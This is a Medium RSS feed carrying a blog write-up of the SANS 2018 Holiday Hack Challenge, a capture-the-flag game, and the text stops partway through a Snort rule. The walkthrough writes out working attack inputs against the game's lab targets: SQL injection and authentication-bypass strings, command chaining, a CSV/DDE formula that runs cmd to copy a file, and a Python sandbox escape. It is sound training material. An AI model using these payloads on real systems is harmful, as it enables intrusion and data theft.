<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lars Meijers on Medium]]></title>
        <description><![CDATA[Stories by Lars Meijers on Medium]]></description>
        <link>https://medium.com/@gulpener?source=rss-7f39ef8a4bc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZLdMDhk30D-mysLiKEFuEQ.jpeg</url>
            <title>Stories by Lars Meijers on Medium</title>
            <link>https://medium.com/@gulpener?source=rss-7f39ef8a4bc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 05:55:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gulpener/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SANS 2018 Holiday Hack Challenge write-up]]></title>
            <link>https://medium.com/@gulpener/sans-2018-holiday-hack-challenge-write-up-28cede30d1a4?source=rss-7f39ef8a4bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/28cede30d1a4</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[şans]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[holidayhackchallenge]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Lars Meijers]]></dc:creator>
            <pubDate>Wed, 16 Jan 2019 22:23:39 GMT</pubDate>
            <atom:updated>2019-01-17T09:55:14.260Z</atom:updated>
            <content:encoded><![CDATA[<p>Like every year around the holiday season SANS published their Holiday hack challenge, its the perfect opportunity to munch away some Christmas cookies while learning about new and interesting security techniques. Whether you are a seasoned security veteran or are just starting out, the SANS holiday hack challenge offers something for everyone.</p><p>I would like to thank the whole SANS holiday hack team for once again creating an amazing, challenging and this year especially educational challenge.</p><p>This years Holiday Hack challenge comes in the form of a Virtual Security <a href="https://kringlecon.com/">Conference</a> that is being hosted by Santa on the north pole. Just listening to all the various interesting talks being held by its attendants could keep you busy all Christmas, but that is not what we are here for.</p><p>It soon becomes clear that the conference and all its visitors are being held hostage by the scary looking security guard and his toy soldiers, as well as the IT infrastructure of Santa’s elves that seems to be hit by a malware attack. The goal of this years Kringlecon is to figure out who is behind the attack and stop them.</p><p>This write up will give an explanation on all 10 challenges needed to solve the mystery. Furthermore every level has an optional terminal challenge that can be done to achieve hints, these are also explained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCUEJY2AuU0JJ3mflMYxtQ.png" /></figure><h3>Level 1 — Orientation Challenge</h3><h4>Terminal challenge — <strong><em>Essential Editor Skills</em></strong></h4><p>Clearly we are in the warm up phase, the terminal challenge consists of exiting the VI editor. “:q!” will do the trick :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHOmP2GOT3HnfUqmuo2wAQ.png" /></figure><p>The hint we get for solving this challenge: <a href="https://holidayhackchallenge.com/past-challenges/">https://holidayhackchallenge.com/past-challenges/</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F31JsKzsbFUo%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D31JsKzsbFUo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F31JsKzsbFUo%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ab0c6c36351ef72b24f2316988aa4910/href">https://medium.com/media/ab0c6c36351ef72b24f2316988aa4910/href</a></iframe><h4>Questionnaire</h4><p>The questionnaire challenge ask the participant some questions about the past holiday hack challenges, either reading about the past <a href="https://holidayhackchallenge.com/past-challenges/">challenges</a> or listening to Ed Skoudis opening talk should give you all the answers you need.</p><p>But for the sake of completion here they are:</p><ol><li>Firmware 2. ATNAS 3. Business card 4. Cranberry pie 5. Snowballs 6. The Great Book</li></ol><h3>Level 2 — Directory Browsing</h3><h4>Terminal challenge — <strong><em>The Name Game</em></strong></h4><p>In this terminal challenge we need to figure out the first name “of our guy Chan”. The first menu option gives you a command line interface in which you can fill in personal information to register new users. The second menu option gives you a useful hint:</p><p>“Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout]</p><p>[hop1 …] destination onboard.db: SQLite 3.x database”</p><p>This tells us two things, there might be a SQL injection attack somewhere because some very specific DB information is handed out. And second, the 2 menu option is running the PING command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQ0BAwjRrbycEMFVQ9gRQQ.png" /></figure><p>The first menu option consists of 8 fields that need to be filled in, entering SQL injection values in the last field seems to work. After fiddling about a bit eventually I find the following attack to work: ‘); select * from onboard; —</p><p>However that is not all in this challenge, the sql injection gives us the content of the onboard table and “Chan’s” first name. But we still need to somehow be able to run the ./runtoanswer command.</p><p>Coming back to our first finding, what if we try and and more commands to the input value and see if that works. “… || ./runtoanswer” does the trick. Later I saw you were provided with a hint for the second <a href="https://ss64.com/ps/call.html">part</a> and “&amp; ./runtoanswer” also works.</p><p>Filling in our guys first name “Scott” gets us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rOibBZLloc5Tg2_xmMPUA.png" /></figure><p>This solution gives us the following hints: “On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.”</p><p>and a link: <a href="https://portswigger.net/kb/issues/00600100_directory-listing">Directory listing</a></p><h4>Call for papers</h4><p>For the second level we are provided with a <a href="https://cfp.kringlecastle.com/">URL</a> and the objective to figure out who submitted the rejected talk: “Data Loss for Rainbow Teams: A Path in the Darkness”.</p><p>Clicking around on the website lands us on “<a href="https://cfp.kringlecastle.com/cfp/cfp.html">https://cfp.kringlecastle.com/cfp/cfp.html</a>”. Let’s follow the hint literally and see if we can browse to the cfp directory: “<a href="https://cfp.kringlecastle.com/cfp/cfp.html">https://cfp.kringlecastle.com/cfp/</a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvwIf1Z-nirS2uRZeZWVXg.png" /></figure><p>It seems the paper belonged to a certain “John,McClane”. Hmmmm that name does sound familiar also considering our security guard is named Hans.</p><h3>Level 3 — de Bruijn Sequences</h3><h4>Terminal Challenge — <strong><em>Lethal ForensicELFication</em></strong></h4><p>For the terminal challenge we should use forensics to “ Find the first name of the elf of whom a love poem was written.”</p><p>First we take a look into the .bash_history</p><p>“set -o history<br>whoami<br>echo “No, really… /-:”<br>mkdir -p .secrets/her/<br>firefox <a href="https://www.google.com/search?q=love+poetry">https://www.google.com/search?q=love+poetry</a><br>vim<br>ls -lAR<br>exit<br>set -o history<br>df -h<br>who<br>firefox <a href="https://www.google.com/search?q=replacing+strings+in+vim">https://www.google.com/search?q=replacing+strings+in+vim</a><br>time vim<br>ls -lAR<br>exit<br>set -o history<br>vim<br>exit<br>ls -lA<br>cat .bash_history<br>echo “” &gt;&gt; .bash_history<br>firefox <a href="https://www.google.com/search?q=turn+off+bash+history">https://www.google.com/search?q=turn+off+bash+history</a><br>set +o history<br>set +o history”</p><p>Perhaps we should take a look into the “cd .secrets/her/” directory, only 1 file “poem.txt” but it does not contain what we need. Luckily we where provided with a <a href="https://tm4n6.com/2017/11/15/forensic-relevance-of-vim-artifacts/">hint</a>.</p><p>Let’s take a look into the .viminfo file which is stored in the users home directory.</p><p>It seems someone replaced the name Elinore with NEVERMORE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHg46Npd6VLHQE0UuyKLQQ.png" /></figure><p>From this challenge we get the following hints: <a href="https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/">https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/</a></p><p><a href="http://www.hakank.org/comb/debruijn.cgi?k=2&amp;n=3&amp;submit=Ok">de Bruijn (deBruijn) sequence (k=2, n=3)</a></p><h4>Breaking into the speaker unpreparedness room</h4><p>The unpreparedness room is an in-game location that is protected by a 4 character lock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BM8eRuxhtF6eyWs_41G4w.png" /></figure><p>Considering the hints given to us through the terminal challenge it seems we will need to brute force this lock using a “de bruijn sequence”. In this case our “de bruijn sequence” consists of a alphabet of 4 letters and a sequence of 4 characters for the lock, you can generate the sequence of characters you need to enter into the lock, either on the website given through the <a href="http://www.hakank.org/comb/debruijn.cgi?k=4&amp;n=4&amp;submit=Ok">hint</a> or by using the python script given to you on the wikipedia <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">page</a> . After trying the generated “de bruijn sequence” the door opens with the following combination:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkTUzlIeigfFVanNr7M14g.png" /></figure><h3>Level 4 — Data Repo Analysis</h3><h4>Terminal challenge — <strong><em>Stall Mucking Report</em></strong></h4><p>For this terminal challenge we need to retrieve the password to the samba share running on the terminal, to upload “Wunorse Openslae” mucking report. Luckily we are provided with the following <a href="https://blog.rackspace.com/passwords-on-the-command-line-visible-to-ps">hint</a></p><p>So maybe there is some process running with the password as a command line argument. “ps -ef &gt;&gt; output.txt“ results in some interesting processes running.</p><p>Using the information given from the ps command, we can construct the following command: “smbclient //localhost/report-upload/ -c ‘. ; put report.txt’ -U report-upload” and using the password “directreindeerflatterystable”</p><p>Finishing this challenge gives us the following hints:</p><p><a href="https://github.com/dxa4481/truffleHog">GitHub - trufflesecurity/truffleHog: Searches through git repositories for high entropy strings and secrets, digging deep into commit history</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FmyKrWVaq3Cw%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DmyKrWVaq3Cw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FmyKrWVaq3Cw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/dac84f2761c8b53aaeeb58e0aa2f2e67/href">https://medium.com/media/dac84f2761c8b53aaeeb58e0aa2f2e67/href</a></iframe><h4>encrypted ZIP file</h4><p>For the main challenge we get a link to the castle automation project on gitlab: <a href="https://git.kringlecastle.com/Upatree/santas_castle_automation">https://git.kringlecastle.com/Upatree/santas_castle_automation</a> and the instructions to find the password to the password protected .zip file that is stored inside the repository.</p><p>Using the Trufflehog tool we find a number of interesting commits, especially commit with change-id:9ed54617547cfca783e0f81f8dc5c927e3d1e3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3b90iN2OafOW-HrKbCl9Xw.png" /></figure><p>The unzipped file gives us the diagram for the google ventilation system, this is an in-game maze that enables you to bypass level 6.</p><h3>Level 5 — AD Privilege Discovery</h3><h4>Terminal challenge — <strong><em>CURLing Master</em></strong></h4><p>For this challenge we need to send the “right request” to a server running on <a href="http://localhost:8080/">http://localhost:8080/</a> to get the “candy striper” started again. As a hint the challenge offers us to take a look at the nginx config in /etc/nginx/.</p><p>For me looking at the nginx config file, didn’t get me very far, however a quick look at the bash_history yielded some interesting results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZhLh5pMNdUNfc8cOcOk9Jw.png" /></figure><p>Repeating the command: curl — http2-prior-knowledge <a href="http://localhost:8080/index.php">http://localhost:8080/index.php</a> gets us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vp7eVxzacV8orXBwniqTow.png" /></figure><p>Ok a post with “status=on” I can do that: curl -X POST -d “status”=”on” — http2-prior-knowledge <a href="http://localhost:8080/index.php">http://localhost:8080/index.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*72pEyE1cB_SX6gmf61OD7Q.png" /></figure><p>This gets us 2 new hints:</p><p><a href="https://github.com/BloodHoundAD/BloodHound">GitHub - BloodHoundAD/BloodHound: Six Degrees of Domain Admin</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FgOpsLiJFI1o%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DgOpsLiJFI1o&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FgOpsLiJFI1o%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/dc2f385b99db748f32366171116f3094/href">https://medium.com/media/dc2f385b99db748f32366171116f3094/href</a></iframe><h4>Kerberoastable</h4><p>For this challenge the game links to an virtual machine <a href="https://download.holidayhackchallenge.com/HHC2018-DomainHack_2018-12-19.ova">image</a>. The objective is “find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.”</p><p>Using the information given to us in the hints and the query “Shortest path to domain admins from Kerberoastable user” we get the following result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hc5F8GcfPC2A3C-CWMJx-Q.png" /></figure><h3>Level 6 — Badge Manipulation</h3><h4>Terminal Challenge — <strong><em>Yule Log Analysis</em></strong></h4><p>For this terminal challenge the elves seems to have fallen prey to a password spraying attack, we are given the web login log and the task to to find out which users was breached.</p><p>Luckily we are provided with a <a href="https://securityweekly.com/2017/07/21/tsw11/">hint</a> and one of the speakers has an interesting talk on the subject of password spraying:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FkhwYjZYpzFw%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DkhwYjZYpzFw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FkhwYjZYpzFw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9680e46b31e22b1456d5167545490a2a/href">https://medium.com/media/9680e46b31e22b1456d5167545490a2a/href</a></iframe><p>So to figure out which account was breached we need to determine who was attacking and onto which account the attacker could login.</p><p>We will start by looking at all the failed login attempts, we know failed login events have the <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625">id4625</a>:</p><p>Running “evtx_dump.py ho-ho-no.evtx | grep -A 50 -i “4625” &gt; failed.txt” gives us a failed.txt file with al the failed login attempts.</p><p>Here we see a common theme, most failed login attempts come from an outside ip: &lt;Data Name=”IpAddress”&gt;172.31.254.101&lt;/Data&gt;<br>&lt;Data Name=”IpPort”&gt;36161&lt;/Data&gt;. This would make sense if you are an attacker. Let’s see if this IP address had any successful login attempts.</p><p>first we grep for successful events: evtx_dump.py ho-ho-no.evtx | grep -A 50 -i “<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624">4624</a>” &gt; success.txt</p><p>Then we filter on only those events with the ip: grep -B 30 -A 10 -i “172.31.254.101” success.txt &gt; successIP.txt</p><p>Now we find 2 successful login events from this IP address, both for the user “minty.candycane”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3H7IKbRZ1B6ZFIqRmHukjg.png" /></figure><p>This provides us with 2 new hints for our main challenge:</p><p><a href="https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF#Auth_Bypass">SQL Injection Bypassing WAF - OWASP</a></p><p><a href="https://www.the-qrcode-generator.com/">https://www.the-qrcode-generator.com/</a></p><h4>QR-Code manipulation</h4><p>In this level we need to bypass an authentication mechanism that scans a badge of a Kringlecon participant and we are provided with an example badge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*HUpvjmtw1PnAxG-jQYFv_g.jpeg" /></figure><p>When we upload the example badge we get the following server response:</p><p>{“data”:”Authorized User Account Has Been Disabled!”,”request”:false}</p><p>Let’s try a malformed badge, using the website provided to us in the hints section to generate a QR code.</p><p>{“data”:”EXCEPTION AT (LINE 96 \”user_info = query(\”SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = ‘{}’ LIMIT 1\”.format(uid))\”): (1064, u\”You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’or 1 — -’’ LIMIT 1&#39; at line 1\”)”,”request”:false}</p><p>This gives us a lot more information, the query is looking for authorized users with a specific GUID and the first response tells us they should be enabled. We cant guess the GUID so why don’t we just try to find enabled and authorized users. After many attempts to get the syntax right, this one worked in the end:</p><p>‘OR enabled=true — -’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*T1y9aEpxGI6XXr5mNKEn9Q.png" /></figure><h3>Level 7 — HR Incident Response</h3><h4>Terminal Challenge — <strong><em>Dev Ops Fail</em></strong></h4><p>Another GIT credentials challenge, this time on of the elves committed a file with sensitive credentials to the repository, luckily someone caught here and shortly thereafter committed a rectified file without the sensitive data, crisis averted!</p><p>Or not, looking in the GIT log it tells us commit “60a2ffea7520ee980a5fc60177ff4d0633f2516b” was used to clean up the sensitive data it also tells us the file config.js, so we reset to a commit before that.</p><p>git reset b2376f4a93ca1889ba7d947c2d14be9a5d138802 — hard</p><p>When we take a peek into the file we find:</p><p>“// Database URL<br>module.exports = {<br> ‘url’ : ‘mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api’<br>};”</p><p><a href="https://www.owasp.org/index.php/CSV_Injection">CSV Injection - OWASP</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZ3qpcKVv2Bg%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZ3qpcKVv2Bg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZ3qpcKVv2Bg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/48759bb95849bcc9ff37f0c71b460b72/href">https://medium.com/media/48759bb95849bcc9ff37f0c71b460b72/href</a></iframe><h4>Careers @ KringleCastle</h4><p>For this next challenge we need to fetch Santa’s c:\candidate_evaluation.docx document from his careers website <a href="https://careers.kringlecastle.com/">https://careers.kringlecastle.com/</a> and figure out which terrorist organisation is supporting the candidate that starts with the letter K.</p><p>Luckily for us the careers website allows us to upload our own resume in CSV format, but how are we going to leverage our new found CSV injection knowledge to get our file, again just playing around with the website answers that question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJtdcCzDY-fol-IjOuRTsA.png" /></figure><p>So what about a CSV attack that copies are wanted file to this public directory:</p><p>=2+5+cmd|’ /C copy c:\candidate_evaluation.docx c:\careerportal\resources\public\’ !A0</p><p>This works and gives us the document, there we find Applicant Krampus who worked for the terrorist organisation “Fancy Beaver”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHNrTSBuWvk6u_PMwZt5Aw.png" /></figure><p>Just as a side note to this challenge, I had a lot of trouble getting the CSV injection to work and tried many attempts before I got the file.</p><h3>Level 8 — Network Traffic Forensics</h3><h4>Terminal Challenge — <strong><em>Python Escape from LA</em></strong></h4><p>Personally my favourite terminal challenge this holiday season, the hint we get from the start is to watch Mark Bagget’s talk on escaping python shells.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZVx2Sxl3B9c%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZVx2Sxl3B9c&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZVx2Sxl3B9c%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ed706000341a23ff2da54209d1b85a6e/href">https://medium.com/media/ed706000341a23ff2da54209d1b85a6e/href</a></iframe><p>Mark shows us some truly interesting ways to escape from python shells, for the terminal inside of kringlecon the following works:</p><p>bla = eval(‘__im’+ ‘port__(“os”)’)<br>bla.system(‘./i_escaped’)</p><p>These 2 lines of python give us the following hint:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FYHOnxlQ6zec%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DYHOnxlQ6zec&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FYHOnxlQ6zec%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bdab8356cc1987fe76018f2fac9e5462/href">https://medium.com/media/bdab8356cc1987fe76018f2fac9e5462/href</a></iframe><h4>packalyzer</h4><p><em>Santa has introduced a web-based packet capture and analysis tool at </em><a href="https://packalyzer.kringlecastle.com/"><em>https://packalyzer.kringlecastle.com</em></a><em> to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?</em></p><p>The elves usually give back a little extra information when giving you the hints in the form of dialog, these dialog texts are often overlooked but can be particularly helpful, like in this case:</p><p><em>Yay, you did it! You escaped from the Python! As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer — Packalyzer. Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root. Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code. There was suspicious-looking development code using environment variables to store SSL keys and open up directories. This elf then told me that manipulating values in the URL gave back weird and descriptive errors. I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.</em></p><p>From the Html comments we find that the server-side code resides in a file called “app.js”, a quick look into the PUB directory gives us the file.</p><p><a href="https://packalyzer.kringlecastle.com/pub/app.js">https://packalyzer.kringlecastle.com/pub/app.js</a></p><p>In the app.js file we observe the following interesting lines of code:</p><pre>const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )</pre><pre>function load_envs() {<br>  var dirs = []<br>  var env_keys = Object.keys(process.env)<br>  for (var i=0; i &lt; env_keys.length; i++) {<br>    if (typeof process.env[env_keys[i]] === &quot;string&quot; ) {<br>      dirs.push(( &quot;/&quot;+env_keys[i].toLowerCase()+&#39;/*&#39;) )<br>    }<br>  }<br>  return uniqueArray(dirs)<br>}</pre><pre>//Route for anything in the public folder except index, home and register<br>router.get(env_dirs,  async (ctx, next) =&gt; {<br>try {<br>    var Session = await sessionizer(ctx);<br>    //Splits into an array delimited by /<br>    let split_path = ctx.path.split(&#39;/&#39;).clean(&quot;&quot;);<br>    //Grabs directory which should be first element in array<br>    let dir = split_path[0].toUpperCase();<br>    split_path.shift();<br>    let filename = &quot;/&quot;+split_path.join(&#39;/&#39;);<br>    while (filename.indexOf(&#39;..&#39;) &gt; -1) {<br>    filename = filename.replace(/\.\./g,&#39;&#39;);<br>    }<br>    if (![&#39;index.html&#39;,&#39;home.html&#39;,&#39;register.html&#39;].includes(filename)) {<br>    ctx.set(&#39;Content-Type&#39;,mime.lookup(__dirname+(process.env[dir] || &#39;/pub/&#39;)+filename))<br>    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || &#39;/pub/&#39;)+filename)<br>    } else {<br>    ctx.status=404;<br>    ctx.body=&#39;Not Found&#39;;<br>    }<br>} catch (e) {<br>    ctx.body=e.toString();<br>}<br>});</pre><p>What the first line tells us is that the keys are stored to the value of process.env.SSLKEYLOGFILE</p><p>The second function loads the keys of the process.env so they can be routed to.</p><p>The third function is the main routing function of the application and it seems to be using our input (dir) to retrieve the value from process.env and we know there is probably no directory with the SSLKEYLOGFILE name so hopefully the error will be descriptive. Calling <a href="https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/">https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/</a> gives us:</p><pre>Error: ENOENT: no such file or directory, open &#39;/opt/http2packalyzer_clientrandom_ssl.log/&#39;</pre><p>So now we know the filename, we can repeat this for process.env.DEV <a href="https://packalyzer.kringlecastle.com/DEV/">https://packalyzer.kringlecastle.com/DEV/</a> gives us:</p><pre>Error: EISDIR: illegal operation on a directory, read</pre><p>Not really that surprising, DEV is really a directory called “dev”. When we navigate to <a href="https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log">https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log</a> we get our SSL keys.</p><p>Armed with our keys we can now download a PCAP file and start analysing, looking at the JSON payloads we see number of login credentials that could be interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0d3LVIizK5LEGI9V7ly-mg.png" /></figure><p>With this we can download the PCAP file from Alabaster’s account, there we find smtp traffic that Wireshark lets us conveniently follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ylD8lpv6NWFIuIwN0KqJ_w.png" /></figure><p>Contained in this stream is also a BASE64 encoded attachment, decoding it (using one of the many online tools) shows us its a PDF, storing it as such gives us the answer to this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNQNGhoQDnjMbRI6-PFT-Q.png" /></figure><h3>Level 9 — Ransomware Recovery</h3><h4>Terminal Challenge — <strong><em>Sleigh Bell Lottery</em></strong></h4><p>For the final terminal challenge elf “<em>Shinny Upatree</em>” want some help rigging the sleigh-bell lottery in his favour. To do this we need to use gdb to manipulate the lottery such that he wins. Again we are provided with a hints page: <a href="https://pen-testing.sans.org/blog/2018/12/11/using-gdb-to-call-random-functions">https://pen-testing.sans.org/blog/2018/12/11/using-gdb-to-call-random-functions</a></p><p>A quick look for interesting function names gives us (nm sleighbell-lotto):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_O5mRM64hHEvX_DPGdeaRw.png" /></figure><p>Ah-aah <strong>winnerwinner </strong>CHICKEN DINNER, seems like a good start.</p><p>We enter the following commands:</p><p>gdb -q ./sleighbell-lotto<br>break main<br>start<br>jump winnerwinner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8AIxDsYDSCK7vJZTbB9fg.png" /></figure><p>Now on to the main course of this Christmas treat, from here on everything got a lot more interesting and more difficult. Unlocked hints:</p><p><em>Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie? Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted. Many elves were affected, so Alabaster went to go see if he could help out. I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer. An elf I follow online said he analyzed Wannacookie and that it communicates over DNS. He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way. Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie! Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt. Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need. If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.</em></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fwd12XRq2DNk%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dwd12XRq2DNk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fwd12XRq2DNk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7efa131370e388640af1ea6a3168c7fc/href">https://medium.com/media/7efa131370e388640af1ea6a3168c7fc/href</a></iframe><h4>Catch the Malware</h4><p>For the first part of our main challenge Alabaster needs our help setting up a <a href="https://www.snort.org/">Snort </a>rule to catch and block all the malware’s traffic on the network, without interrupting normal users traffic.</p><p>Pcap files are provided on the url <a href="http://snortsensor1.kringlecastle.com/">http://snortsensor1.kringlecastle.com/</a> as well as on the in-game terminal on which you need to enter the snort rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7dW_CBOhNMyYmWnhUvBHA.png" /></figure><p>Looking at the snort traffic we can see a lot of suspicious looking traffic and while the domain is not always the same, the same number seems to be prep-ended to it each time.</p><p>77616E6E61636F6F6B69652E6D696E2E707331 which is hex for wannacookie.min.ps1</p><p>We can use the snort <strong>content</strong> keyword to block out all traffic that contains this (or part of this) value within its payload, in this case we need to match on the binary representation of this data. The following rule will do the trick:</p><p>alert udp any any -&gt; any any 